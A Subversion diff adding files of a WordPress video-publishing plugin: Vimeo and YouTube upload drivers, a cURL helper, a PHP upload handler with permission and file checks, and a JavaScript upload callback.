+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$frob = source_extract($api_auth_url, '', $args, '', true, $cookie);
+		if(!$frob['header']['Location']){ //si aun no fue aceptada la autorizacion
+			$frob = source_extract($api_auth_url, $_args, '', '', true, $cookie);   #lo autorizamos por POST
+			$frob = source_extract($api_auth_url, '', $args, '', true, $cookie);	#y pedimos el frob de nuevo
+		}
+		$frob = substr($frob['header']['Location'], strpos($frob['header']['Location'], 'frob=')+strlen('frob=') );
+		$frobge = $frob;
+		#token
+		$args = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'frob'	=> $frob,
+			'method'	=> 'vimeo.auth.getToken'
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$token = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$token = unserialize($token['content']);
+		$token = $token->auth->token;
+		#tiket
+		$args = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'frob'	=> $frob,
+			'method'	=> 'vimeo.videos.getUploadTicket'
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$tiket = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$tiket = unserialize($tiket['content']);
+		$tiket = $tiket->ticket->id;
+		#upload video
+		$file = array('video'=>$file);
+		$args = array(
+			'api_key'   => $api_key,
+			'format'		=> 'php',
+			'auth_token'	=> $token,
+			'ticket_id'  => $tiket
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$upload = source_extract($api_upload_url, $args, '', $file, true, $cookie);
+		#check
+		$args = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'frob'	=> $frob,
+			'method'	=> 'vimeo.videos.checkUploadStatus',
+			'ticket_id' => $tiket
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$check = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$check = unserialize($check['content']);
+		#title
+		$args = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'method'	=> 'vimeo.videos.setTitle',
+			'title'  => $title,
+			'video_id'  => $check->ticket->video_id,
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$title = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$title = unserialize($title['content']);
+		#caption
+		$args = array(
+			'api_key'   => $api_key,
+			'caption'   => $descripcion,
+			'format'	=> 'php',
+			'method'	=> 'vimeo.videos.setCaption',
+			'video_id'  => $check->ticket->video_id,
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$caption = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$caption = unserialize($caption['content']);
+		#tags
+		$args = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'method'	=> 'vimeo.videos.addTags',
+			'tags'	=> $tags,
+			'video_id'  => $check->ticket->video_id,
+		);
+		$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+		$tags = source_extract($api_rest_url, '', $args, '', true, $cookie);
+		$tags = unserialize($tags['content']);
+		#privacidad
+		if($permisos){
+			$permisos = strtolower($permisos);
+			if( $permisos!='anybody' && $permisos!='nobody' && $permisos!='contacts' && !strpos($permisos, ',')){
+				$error = true;
+				$error_desc = _('ERROR: Los permisos permitidos son "nobody" para que sea privado, "anybody",'.
+						' para que sea publico, "contacts" para que solo lo puedan ver los contactos del'.
+						' usuario registrado o una lista de usuarios separada por comas para que solo esos'.
+						' usuarios puedan ver el video. (la funcion requiere que si se usa esta ultima'.
+						' opcin se ponga al menos una coma final.'); 
+				$retry = 0;
+			}
+			if(strpos($permisos, ',')) {
+				$args = array(
+					'api_key'   => $api_key,
+					'format'	=> 'php',
+					'method'	=> 'vimeo.videos.setPrivacy',
+					'privacy'   => 'users',
+					'users'  => (substr($permisos, -1)==',') ? substr($permisos, 0, -1) : $permisos,
+					'video_id'  => $check->ticket->video_id,
+				);
+			} else {
+				$args = array(
+					'api_key'   => $api_key,
+					'format'	=> 'php',
+					'method'	=> 'vimeo.videos.setPrivacy',
+					'privacy'   => $permisos,
+					'video_id'  => $check->ticket->video_id,
+				);
+			}
+			$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+			$permisos = source_extract($api_rest_url, '', $args, '', true, $cookie);
+			$permisos = unserialize($permisos['content']);
+		}
+		
+		if ($check->ticket->video_id) {
+		    $videoid = $check->ticket->video_id;
+		    $upload_status_desc = 'processing';	    
+		    $retry = false;
+		 } else {
+		  	$upload_status = 'error';
+		  	$error = true;
+		  	$upload_status_desc = "Error";
+		  	$retry = true;
+		 }
+		
+		//Preparar la respuesta
+		$service_response = array();
+		$service_response['service'] = 'vimeo';
+		$service_response['video_id'] = $videoid;
+		$service_response['status'] = $upload_status;
+		$service_response['status_description'] = $upload_status_desc;
+		$service_response['error'] = $error;
+		$service_response['error_description'] = $error_desc;
+		$service_response['retry'] = $retry;
+		//Sending the ticket
+		$service_response['ticket'] = $tiket;
+		$service_response['cookie'] = $cookie;
+
+		return $service_response;
+		
+		/*return array(
+			'login'  => $login,
+			'frob'	=> $frobge,
+			'token'  => $token,
+			'tiket'  => $tiket,
+			'cookie' => $cookie,
+			'upload'	=> $upload,
+			'check'  => $check,
+			'title'  => $title,
+			'caption'   => $caption,
+			'tags'	=> $tags,
+			'privacity' => $permisos,
+			'video_id' => $check->ticket->video_id
+		);*/
+	}
+
+}
+
+function getembed_vimeo($settings,$videodata) {
+	$error = false; $embed_code = ''; $retry = true;
+	$api_rest_url   = "http://www.vimeo.com/api/rest/";
+	$api_auth_url   = "http://www.vimeo.com/services/auth/";
+	$frob = false;
+	$api_key = $settings['devkey'];
+	$api_secret = $settings['api_secret']; 
+	$tiket = $videodata['ticket'];
+	$cookie = $videodata['cookie'];
+	$video_id = $videodata['video_id'];
+	#check
+	$args = array(
+		'api_key'   => $api_key,
+		'format'	=> 'php',
+		'frob'	=> $frob,
+		'method'	=> 'vimeo.videos.checkUploadStatus',
+		'ticket_id' => $tiket
+	);
+	$s=$api_secret; foreach($args as $k=>$v){   $s .= $k.$v;   }  $args['api_sig'] = md5($s);
+	$check = source_extract($api_rest_url, '', $args, '', true, $cookie);
+	$check = unserialize($check['content']);
+	
+	if (isset($check->ticket->transcoding_progress) && ($check->ticket->transcoding_progress == "100")) {
+		$args_info = array(
+			'api_key'   => $api_key,
+			'format'	=> 'php',
+			'frob'	=> $frob,
+			'method'	=> 'vimeo.videos.getInfo',		
+			'video_id' => $video_id
+		);
+		//$video_id = $check->ticket->video_id;
+		$s=$api_secret; foreach($args_info as $k=>$v){   $s .= $k.$v;   }  $args_info['api_sig'] = md5($s);
+		$check = source_extract($api_rest_url, '', $args_info, '', true, $cookie);
+		$check = unserialize($check['content']);	
+		$retry = 0;
+		$error = false;
+		$upload_status = 'completed';
+		$upload_status_desc = _('completed');
+		$embed_code = '<object width="640" height="390"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id='.$video_id.'&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id='.$video_id.'&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="390"></embed></object>';
+		$video_url = $check->video->urls->url->_content;
+		
+	} else {
+		$retry = 1;
+		$error = false;
+		$upload_status = 'processing';
+		$upload_status_desc = _('transcoding video');
+	
+	}
+	
+	//Preparar la respuesta
+	$service_response = array();
+	$service_response['service'] = 'vimeo';
+	$service_response['status'] = $upload_status;
+	$service_response['status_description'] = $upload_status_desc;
+	$service_response['error'] = $error;
+	$service_response['error_description'] = $error_desc;
+	$service_response['embed'] = $embed_code;
+	$service_response['watch_url'] = $video_url;
+	$service_response['retry'] = $retry;
+	$service_response['video_id'] = $video_id;
+	//Optional data
+	if (!$retry) {
+		$service_response['flv_source'] = 'http://vimeo.com/moogaloop.swf?clip_id='.$video_id;
+		$service_response['views'] = $check->video->number_of_plays;
+		$service_response['duration'] = $check->video->duration;
+		$service_response['thumbnail'] = $check->video->thumbnails->thumbnail[2]->_content;
+	}
+	return $service_response;
+}	
+
+
+//Include source_extract library from tierra0.com 
+//http://www.tierra0.com/2009/03/27/source_extract-version2-envio-y-extraccion-de-datos-desde-php-como-si-fuera-un-navegador/
+function source_extract(
+		$url,
+		$POSTdata='',
+		$GETdata='',
+		$file_upload='',
+		$header=false,
+		$cookie=false
+	){
+	$user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
+	#get
+	if(is_array($GETdata)){
+		foreach($GETdata as $k => $v){  $GETdata[$k] = $k.'='.urlencode($v);  }
+		$GETdata = implode('&', $GETdata);
+	}
+	if($GETdata!='') $url .= strpos($url, '?') ? '&'.$GETdata : '?'.$GETdata;
+	#post+files
+	if(is_array($POSTdata)&&!is_array($file_upload)){
+		foreach($POSTdata as $k => $v){ $POSTdata[$k] = $k.'='.$v;   }
+		$POSTdata = implode('&', $POSTdata);
+	} elseif(count($POSTdata)==0){
+		$POSTdata = array();
+	}
+	if(is_array($file_upload)){
+		foreach($file_upload as $k=>$v){
+			$v		  = (substr($v,0,1)!='.'&&substr($v,0,1)!='/') ? './'.$v : ''.$v;
+			$path_v	= realpath(dirname($v));
+			$file_v	= basename($v);
+			$file_upload[$k]	= '@'.$path_v.(substr($path_v,-1)!='/' ? '/' : '').$file_v;
+		}
+		$file_upload = array_merge($POSTdata, $file_upload);
+	}
+	$ch = curl_init($url);
+	if(is_array($file_upload)|| $POSTdata!=''){
+		curl_setopt($ch, CURLOPT_POST, 1);
+		curl_setopt($ch, CURLOPT_POSTFIELDS, (is_array($file_upload) ? $file_upload : $POSTdata));
+	}
+	if($cookie){
+		curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
+		curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie);
+	}
+	if($header){
+		curl_setopt ($ch, CURLOPT_HEADER, 1);
+	}
+	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, (substr($url,0,5)=='https'));
+	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
+	$_url_content = $url_content = curl_exec ($ch);
+	curl_close($ch);
+		$url_content = array(
+			'url'	  =>$url,
+			'post'	=>$file_upload ? $file_upload : $POSTdata,
+			'content'   =>$_url_content
+		);
+	if($header){
+		$_url_content = explode("\r\n\r\n", $_url_content,3);
+		$url_content['header']  = (count($_url_content)>2) ? $_url_content[0]."\r\n".$_url_content[1] : $_url_content[0];
+		$url_content['header']  = explode("\r\n", $url_content['header']);
+		foreach($url_content['header'] as $k=>$v){  $o[$k] = explode(': ', $v,2); $o[$o[$k][0]] = $o[$k][1]; unset($o[$k]);   }
+		$url_content['header'] = $o;
+		$url_content['content'] = (count($_url_content)>2) ? $_url_content[2] : $_url_content[1];
+	}
+	return $url_content;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/youtube.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/youtube.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/youtube.php	(revision 44)
@@ -0,0 +1,256 @@
+<?php
+
+/*
+Description: Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has de possibility to extend any other distribution site creating extra drivers
+License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+*/
+
+$path = dirname(__FILE__);
+set_include_path(get_include_path() . PATH_SEPARATOR . $path);
+require_once $path.'/Zend/Loader.php';
+
+function youtube_settings() {
+	$service_config = Array(
+		'service' 	=> "youtube",      //File with actions must be named like $service
+		'service_url' => "youtube.com",
+		'username' 	=> "username",
+		'password' 	=> "passwd",
+		'devkey' 	=> "devkey",
+		'enabled' 	=> false
+	);
+	return $service_config;
+}
+
+function youtube_extras() {
+	$extras = array('category'=> array(	'Autos'=>'Autos &amp; Vehicles',
+										'Music'=>'Music',
+										'Animals'=>'Pets &amp; Animals',
+										'Sports'=>'Sports',
+										'Travel'=>'Travel &amp; Events',
+										'Games'=>'Gadgets &amp; Games',
+										'Comedy'=>'Comedy',
+										'People'=>'People &amp; Blogs',
+										'News'=>'News &amp; Politics',
+										'Entertainment'=>'Entertainment',
+										'Education'=>'Education',
+										'Howto'=>'Howto',
+										'Nonprofit'=>'Nonprofit &amp; Activism',
+										'Tech'=>'Science &amp; Technology')
+					);
+	return $extras;
+}
+
+function upload_youtube($settings,$entry) {
+	Zend_Loader::loadClass('Zend_Gdata_AuthSub');
+	Zend_Loader::loadClass('Zend_Gdata_ClientLogin');
+	Zend_Loader::loadClass('Zend_Gdata_YouTube');
+	Zend_Loader::loadClass('Zend_Gdata_YouTube_VideoEntry');
+	$error = false; $retry = 0;
+	if (!isset($settings['username']) || (empty($settings['username']))) { 
+		$error = true;
+		$error_desc = _("Please fill username field at webtv WordPress settings"); 
+		$retry = 1;
+	}
+	if (!isset($settings['password']) || (empty($settings['password']))) { 
+		$error = true;
+		$error_desc = _("Please fill password field at webtv WordPress settings"); 
+		$retry = 1;
+	}
+	if (!isset($settings['devkey']) || (empty($settings['devkey']))) { 
+		$error = true;
+		$error_desc = _("Please insert your Developer Key at webtv WordPress settings"); 
+		$retry = 1;
+	}
+	if (!isset($settings['category']) || (empty($settings['category']))) { 
+		$error = true;
+		$error_desc = _("Please select a default category at webtv WordPress settings"); 
+		$retry = 1;
+	}
+	//set_time_limit(60*5);
+
+	$authenticationURL= 'https://www.google.com/youtube/accounts/ClientLogin';
+	$httpClient = Zend_Gdata_ClientLogin::getHttpClient(
+	                                          $username = $settings['username'],
+	                                          $password = $settings['password'],
+	                                          $service = 'youtube',
+	                                          $client = null,
+	                                          $source = 'WebTV Vlogger Wordpress Plugin', // identifying application
+	                                          $loginToken = null,
+	                                          $loginCaptcha = null,
+	                                          $authenticationURL);
+	   
+	$config_timeout = array('timeout' => 120);  //Maybe you will need to raise this parameter if you are working with large files.
+    $httpClient->setConfig($config_timeout);                                   
+	$myDeveloperKey = $settings['devkey'];
+	$httpClient->setHeaders('X-GData-Key', "key=${myDeveloperKey}");  
+
+	$yt = new Zend_Gdata_YouTube($httpClient);
+	// create a new Zend_Gdata_YouTube_VideoEntry object
+	$myVideoEntry = new Zend_Gdata_YouTube_VideoEntry();
+	// create a new Zend_Gdata_App_MediaFileSource object
+	$filesource = $yt->newMediaFileSource($entry['fileinfo']);
+	$filesource->setContentType($entry['content_type']);
+	// set slug header
+	$filesource->setSlug($entry['fileinfo']);
+	// add the filesource to the video entry
+	$myVideoEntry->setMediaSource($filesource);
+	// create a new Zend_Gdata_YouTube_MediaGroup object
+	$mediaGroup = $yt->newMediaGroup();
+	$mediaGroup->title = $yt->newMediaTitle()->setText($entry['titulo']);
+	$mediaGroup->description = $yt->newMediaDescription()->setText($entry['desc']);
+	// the category must be a valid YouTube category
+	// optionally set some developer tags (see Searching by Developer Tags for more details)
+	$mediaGroup->category = array(  
+	  $yt->newMediaCategory()->setText($settings['category'])->setScheme('http://gdata.youtube.com/schemas/2007/categories.cat'), 
+	  $yt->newMediaCategory()->setText('webtv_plugin')->setScheme('http://gdata.youtube.com/schemas/2007/developertags.cat'),
+	  $yt->newMediaCategory()->setText('wordpress')->setScheme('http://gdata.youtube.com/schemas/2007/developertags.cat')
+	  );
+	// set keywords
+	$mediaGroup->keywords = $yt->newMediaKeywords()->setText($entry['tags']);  //Linea con error, solucionado cambiando a $yt
+	
+	$myVideoEntry->mediaGroup = $mediaGroup;
+	// set video location
+	/*$yt->registerPackage('Zend_Gdata_Geo');
+	$yt->registerPackage('Zend_Gdata_Geo_Extension');
+	$where = $yt->newGeoRssWhere();
+	$position = $yt->newGmlPos('37.0 -122.0');
+	$where->point = $yt->newGmlPoint($position);
+	$entry->setWhere($where);
+	*/
+	
+	// upload URL for the currently authenticated user
+	$uploadUrl = 'http://uploads.gdata.youtube.com/feeds/api/users/default/uploads';
+		
+	try {
+	  $newEntry = $yt->insertEntry($myVideoEntry, $uploadUrl, 'Zend_Gdata_YouTube_VideoEntry');
+	  
+	} catch (Zend_Gdata_App_HttpException $httpException) {
+	    $error_desc[] = $httpException->getRawResponseBody();
+	    $error = true;
+	    $retry = 1;
+	} catch (Zend_Gdata_App_Exception $e) {
+		$error_desc[] = $e->getMessage();
+		$error = true;
+		$retry = 1;
+	}
+	if (!$error) {
+		$videoid = $newEntry->getVideoId();
+	}
+	if (empty($videoid)) {
+		$error_desc[] = _("Can't get ID from YouTube, please verify if the video has been published and check the max_execution_time on your php.ini");
+		$error = true;
+		$retry = 0;
+	} 
+	
+	// check if video is in draft status
+	try {
+	  $control = $newEntry->getControl();
+	} catch (Zend_Gdata_App_Exception $e) {
+	  	$error_desc[] = $e->getMessage();
+		$error = true;
+	}
+	if ($control instanceof Zend_Gdata_App_Extension_Control) {
+	  if ($control->getDraft() != null && $control->getDraft()->getText() == 'yes') {
+	    $state = $newEntry->getVideoState();
+	    if ($state instanceof Zend_Gdata_YouTube_Extension_State) {
+	      $upload_status = $state->getName();
+	      $upload_status_desc = $state->getText();
+	    } else {
+	      $upload_status_desc = _("Can't get video status from YouTube, try again later");
+	      $retry = 0;
+	    }
+	  }
+	}
+	
+	//Preparar la respuesta
+	$service_response = array();
+	$service_response['service'] = 'youtube';
+	$service_response['video_id'] = $videoid;
+	$service_response['status'] = $upload_status;
+	$service_response['status_description'] = $upload_status_desc;
+	$service_response['error'] = $error;
+	$service_response['error_description'] = $error_desc;
+	$service_response['retry'] = $retry;
+	return $service_response;
+}
+
+function getembed_youtube($settings,$videodata) {
+	$error = false; $embed_code = ''; $retry = false;
+	Zend_Loader::loadClass('Zend_Gdata_AuthSub');
+	Zend_Loader::loadClass('Zend_Gdata_ClientLogin');
+	Zend_Loader::loadClass('Zend_Gdata_YouTube');
+	Zend_Loader::loadClass('Zend_Gdata_YouTube_VideoEntry');
+	$authenticationURL= 'https://www.google.com/youtube/accounts/ClientLogin';
+	$httpClient = Zend_Gdata_ClientLogin::getHttpClient(
+	                                          $username = $settings['username'],
+	                                          $password = $settings['password'],
+	                                          $service = 'youtube',
+	                                          $client = null,
+	                                          $source = 'WebTV Wordpress Plugin', // identifying application
+	                                          $loginToken = null,
+	                                          $loginCaptcha = null,
+	                                          $authenticationURL);
+	                               
+	$myDeveloperKey = $settings['devkey'];
+	$httpClient->setHeaders('X-GData-Key', "key=${myDeveloperKey}");  
+
+	$yt = new Zend_Gdata_YouTube($httpClient);
+	$upload_status = '';
+	
+	$videoEntry = $yt->getVideoEntry($videodata['video_id'], null, true);
+	
+	try {
+	  $control = $videoEntry->getControl();
+	} catch (Zend_Gdata_App_Exception $e) {
+	  	$error_desc[] = $e->getMessage();
+		$error = true;
+	}
+	if ($control instanceof Zend_Gdata_App_Extension_Control) {
+	  if ($control->getDraft() != null && $control->getDraft()->getText() == 'yes') {
+	    $state = $videoEntry->getVideoState();
+	    if ($state instanceof Zend_Gdata_YouTube_Extension_State) {
+	      $upload_status = $state->getName();
+	      $upload_status_desc = $state->getText();
+	      if ($upload_status != 'processing') { $error = true; $retry = false; } else { $error = false; $retry = true; }
+	    } else {
+	      $upload_status_desc = _("Can't get video status from YouTube, try again later");
+	      $retry = true;
+	    }
+	  }
+	}
+	
+	//Si no es empty, el video esta procesado y publicado en YouTube
+	if (empty($upload_status)) {
+			$flv_source = $videoEntry->getFlashPlayerUrl();
+			if (!empty($flv_source)) {
+				$embed_code = '<object width="425" height="344"><param name="movie" value="'.$flv_source.
+						'"></param><param name="allowFullScreen" value="true"></param>'.
+		         		'<param name="allowscriptaccess" value="always"></param><embed src="'.$flv_source.
+		         		'" type="application/x-shockwave-flash" allowscriptaccess="always"'.
+		         		' allowfullscreen="true" width="425" height="344"></embed></object>';	
+		      	$retry = false;
+			}
+			$video_url = $videoEntry->getVideoWatchPageUrl();
+		    $duration = $videoEntry->getVideoDuration();
+	} 
+
+	
+	//Preparar la respuesta
+	$service_response = array();
+	$service_response['service'] = 'youtube';
+	$service_response['status'] = $upload_status;
+	$service_response['status_description'] = $upload_status_desc;
+	$service_response['error'] = $error;
+	$service_response['error_description'] = $error_desc;
+	$service_response['embed'] = $embed_code;
+	$service_response['watch_url'] = $video_url;
+	$service_response['retry'] = $retry;
+	$service_response['video_id'] = $videodata['video_id'];
+	//Optional data
+	$service_response['flv_source'] = $flv_source;
+	$service_response['duration'] = $duration;
+	return $service_response;
+}
+
+//restore_include_path();
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/upload.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/upload.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/upload.php	(revision 44)
@@ -0,0 +1,185 @@
+<?php
+
+// Load up Wordpress
+//
+$wp_load = realpath("../../../../wp-load.php");
+if(!file_exists($wp_load)) {
+  $wp_config = realpath("../../../../wp-config.php");
+  if (!file_exists($wp_config)) {
+      exit("Can't find wp-config.php or wp-load.php");
+  } else {
+      require_once($wp_config);
+      require_once('../../../../wp-includes/pluggable.php');
+  }
+} else {
+  require_once($wp_load);
+}
+
+global $wpdb, $wp_rewrite;
+
+if ( is_ssl() && empty($_COOKIE[SECURE_AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+			$_COOKIE[SECURE_AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+elseif ( empty($_COOKIE[AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+			$_COOKIE[AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+
+
+$user_id = wp_validate_auth_cookie();
+if ($user_id) set_current_user($user_id);
+$nonce=$_REQUEST['_wpnonce'];
+if ( !is_user_logged_in() || !current_user_can('edit_posts') ||  !wp_verify_nonce($nonce, 'webtv-upload')) {
+   //header("HTTP/1.1 500 Internal Server Error"); // This will trigger an uploadError event in SWFUpload
+		echo "No tiene permisos para acceder a este contenido.";
+		exit(0);
+}
+$post_id = (int)trim($_REQUEST['id']);
+
+if ($post_id < 0) {
+		echo "Bad ID on POST.";
+		exit(0);
+}
+
+
+// Check post_max_size (http://us3.php.net/manual/en/features.file-upload.php#73762)
+	$POST_MAX_SIZE = ini_get('post_max_size');
+	$unit = strtoupper(substr($POST_MAX_SIZE, -1));
+	$multiplier = ($unit == 'M' ? 1048576 : ($unit == 'K' ? 1024 : ($unit == 'G' ? 1073741824 : 1)));
+	
+	if ((int)$_SERVER['CONTENT_LENGTH'] > $multiplier*(int)$POST_MAX_SIZE && $POST_MAX_SIZE) {
+		//header("HTTP/1.1 500 Internal Server Error"); // This will trigger an uploadError event in SWFUpload
+		HandleError("POST exceeded maximum allowed size.",$post_id);
+		exit(0);
+	}
+
+
+// Settings
+	$save_path = ABSPATH . get_option('upload_path') . '/';				// The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
+	$upload_name = "Filedata";
+	$max_file_size_in_bytes = 2147483647;				// 2GB in bytes
+	$extension_whitelist = array("mp4", "m4v", "mov", "flv", "qt", "mpg", "mpeg", "3gp", "avi", "wmv", "f4v");	// Allowed file extensions
+	$valid_chars_regex = '.A-Z0-9_!@#$%^&()+={}\[\]\',~`-';				// Characters allowed in the file name (in a Regular Expression format)
+	
+// Other variables	
+	$MAX_FILENAME_LENGTH = 260;
+	$file_name = "";
+	$file_extension = "";
+	$uploadErrors = array(
+        0=>"There is no error, the file uploaded with success",
+        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
+        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form",
+        3=>"The uploaded file was only partially uploaded",
+        4=>"No file was uploaded",
+        6=>"Missing a temporary folder"
+	);
+
+
+// Validate the upload
+	if (!isset($_FILES[$upload_name])) {
+		HandleError("No upload found in \$_FILES for " . $upload_name);
+		exit(0);
+	} else if (isset($_FILES[$upload_name]["error"]) && $_FILES[$upload_name]["error"] != 0) {
+		HandleError($uploadErrors[$_FILES[$upload_name]["error"]],$post_id);
+		exit(0);
+	} else if (!isset($_FILES[$upload_name]["tmp_name"]) || !@is_uploaded_file($_FILES[$upload_name]["tmp_name"])) {
+		HandleError("Upload failed is_uploaded_file test.",$post_id);
+		exit(0);
+	} else if (!isset($_FILES[$upload_name]['name'])) {
+		HandleError("File has no name.",$post_id);
+		exit(0);
+	}
+	
+// Validate the file size (Warning: the largest files supported by this code is 2GB)
+	$file_size = @filesize($_FILES[$upload_name]["tmp_name"]);
+	if (!$file_size || $file_size > $max_file_size_in_bytes) {
+		HandleError("File exceeds the maximum allowed size",$post_id);
+		exit(0);
+	}
+	
+	if ($file_size <= 0) {
+		HandleError("File size outside allowed lower bound",$post_id);
+		exit(0);
+	}
+
+
+// Validate file name (for our purposes we'll just remove invalid characters)
+	$file_name = 'webtv_' . preg_replace('/[^'.$valid_chars_regex.']|\.+$/i', "-", basename($_FILES[$upload_name]['name']));
+	if (strlen($file_name) == 0 || strlen($file_name) > $MAX_FILENAME_LENGTH) {
+		HandleError("Invalid file name",$post_id);
+		exit(0);
+	}
+
+
+// Validate that we won't over-write an existing file
+	if (file_exists($save_path . $file_name)) {
+		HandleError("File with this name already exists",$post_id);
+		exit(0);
+	}
+
+// Validate file extension
+	$path_info = pathinfo($_FILES[$upload_name]['name']);
+	$file_extension = $path_info["extension"];
+	$is_valid_extension = false;
+	foreach ($extension_whitelist as $extension) {
+		if (strcasecmp($file_extension, $extension) == 0) {
+			$is_valid_extension = true;
+			break;
+		}
+	}
+	if (!$is_valid_extension) {
+		HandleError("Invalid file extension",$post_id);
+		exit(0);
+	}
+
+// Validate file contents (extension and mime-type can't be trusted)
+	/*
+		Validating the file contents is OS and web server configuration dependant.  Also, it may not be reliable.
+		See the comments on this page: http://us2.php.net/fileinfo
+		
+		Also see http://72.14.253.104/search?q=cache:3YGZfcnKDrYJ:www.scanit.be/uploads/php-file-upload.pdf+php+file+command&hl=en&ct=clnk&cd=8&gl=us&client=firefox-a
+		 which describes how a PHP script can be embedded within a GIF image file.
+		
+		Therefore, no sample code will be provided here.  Research the issue, decide how much security is
+		 needed, and implement a solution that meets the needs.
+	*/
+
+
+// Process the file
+	/*
+		At this point we are ready to process the valid file. This sample code shows how to save the file. Other tasks
+		 could be done such as creating an entry in a database or generating a thumbnail.
+		 
+		Depending on your server OS and needs you may need to set the Security Permissions on the file after it has
+		been saved.
+	*/
+	if (!@move_uploaded_file($_FILES[$upload_name]["tmp_name"], $save_path.$file_name)) {
+		HandleError("File could not be saved.",$post_id);
+		exit(0);
+	}
+	if (!chmod($save_path.$file_name, 0666)) {
+		HandleError("Downloaded file, but we can't change file permissions",$post_id);
+	    exit(0);
+    }
+
+	add_post_meta($post_id, '_webtv_upload_status', 'uploaded', true) or
+	update_post_meta($post_id, '_webtv_upload_status', 'uploaded');
+	$filedetails = array();
+	$filedetails['local_file'] = $file_name;
+	$filedetails['full_path'] = $save_path.$file_name;
+	$filedetails['size'] = $file_size;
+	$filedetails['content_type'] = webtv_content_type($save_path.$file_name);
+	add_post_meta($post_id, '_webtv_file_details', $filedetails, true) or
+	update_post_meta($post_id, '_webtv_file_details', $filedetails);
+	echo "sucess";
+	exit(1);
+
+
+/* Handles the error output. This error message will be sent to the uploadSuccess event handler.  The event handler
+will have to check for any error messages and react as needed. */
+function HandleError($message,$post_id) {
+	//header("HTTP/1.1 500 Internal Server Error");
+	add_post_meta($post_id,'_webtv_upload_status','error',true) or
+	update_post_meta($post_id, '_webtv_upload_status', 'error');
+	add_post_meta($post_id, '_webtv_upload_status_msg', $message, true) or
+	update_post_meta($post_id, '_webtv_upload_status_msg', $message);
+	echo $message;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/webtvhandlers.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/webtvhandlers.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/includes/webtvhandlers.js	(revision 44)
@@ -0,0 +1,115 @@
+function webtvuploadSuccess(file, serverData) {
+	try {
+		if (serverData == "sucess") {
+			document.getElementById('eleList').innerHTML = '<span style="color: #009015;">uploaded</span><span style="color: #6F6F6F;"> ' + file.name + ' '+ file.size + '</span>';
+			document.getElementById('uploaddiv').innerHTML = 'Video Uploaded';
+		} else {
+			document.getElementById('webtv-status-upload').innerHTML = '<span style="color: #FF0000;">error</span><span style="color: #6F6F6F;"> ' + serverData + '</span>';
+		}
+
+	} catch (ex) {
+		this.debug(ex);
+	}
+}
+
+function webtvfileDialogComplete(numFilesSelected, numFilesQueued) {
+	try {
+		if (numFilesSelected > 0) {
+			//document.getElementById(this.customSettings.cancelButtonId).disabled = false;
+		}
+		
+		/* I want auto start the upload and I can do that here */
+		this.startUpload();
+	} catch (ex)  {
+        this.debug(ex);
+	}
+}
+
+function webtvuploadStart(file) {
+	try {
+		document.getElementById('webtv-status-upload').innerHTML = "Uploading";
